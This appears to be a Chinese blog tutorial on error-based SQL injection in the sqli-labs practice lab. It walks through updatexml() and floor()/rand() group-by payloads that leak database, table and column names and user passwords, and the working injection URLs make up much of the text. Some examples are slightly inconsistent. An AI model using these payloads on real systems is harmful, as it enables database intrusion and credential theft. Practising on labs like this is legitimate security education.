sql-labs报错注入、

本文详细介绍了使用updatexml()及floor()函数进行SQL注入的方法,包括如何利用这些函数来获取数据库名、表名和字段名等关键信息。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一下ppt来自传送门

小技巧:
0x3a 代表 :
0x7e 代表 ~

在这里插入图片描述
在这里插入图片描述

updatexml()报错注入用法

updataxml()报错的本质是函数的报错
以下解释来自传送门
首先了解下updatexml()函数
1
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
改变XML_document中符合XPATH_string的值
而我们的注入语句为:

updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出

ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'

在这里插入图片描述
爆数据库
可将where table_schema=database() 改为 where table_name =‘security’

http://sqli-labs:65/Less-1/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 1,1),0x7e),1)--+

在这里插入图片描述
爆表
在这里插入图片描述
爆用户
在这里插入图片描述
报错注入有其限制的地方,回显最多能显示30位,所以用substr()截取

http://sqli-labs:65/Less-1/?id=1' and  updatexml(1,concat(0x7e,(select substr(concat(password),1,1) from users limit 0,1),0x7e),1)--+

1,,1在这里插入图片描述
1,2
在这里插入图片描述

floor()报错注入用法

floor()报错原理是rand和order by或group by的冲突。
在这里插入图片描述
分解: select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2));
concat 连接字符串功能
floor:取float的整数值
rand:取0到1之间随机浮点值
group by"根据一个或多个列对结果进行分组并有排序功能。

http://sqli-labs:65/Less-1/?id=1'  and (select count(*) from information_schema.tables group by concat(0x7e,(select * from users limit 0,1),0x7e ,floor(rand(0)*2)))--+

在这里插入图片描述
爆数据库

http://sqli-labs:65/Less-1/?id=1'  and (select count(*) from information_schema.tables group by concat(0x7e,(select database(),0x7e ,floor(rand(0)*2)))--+

在这里插入图片描述

爆表

http://sqli-labs:65/Less-1/?id=1'  and (select count(*) from information_schema.tables group by concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand(0)*2)))--+

在这里插入图片描述
爆字段
在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值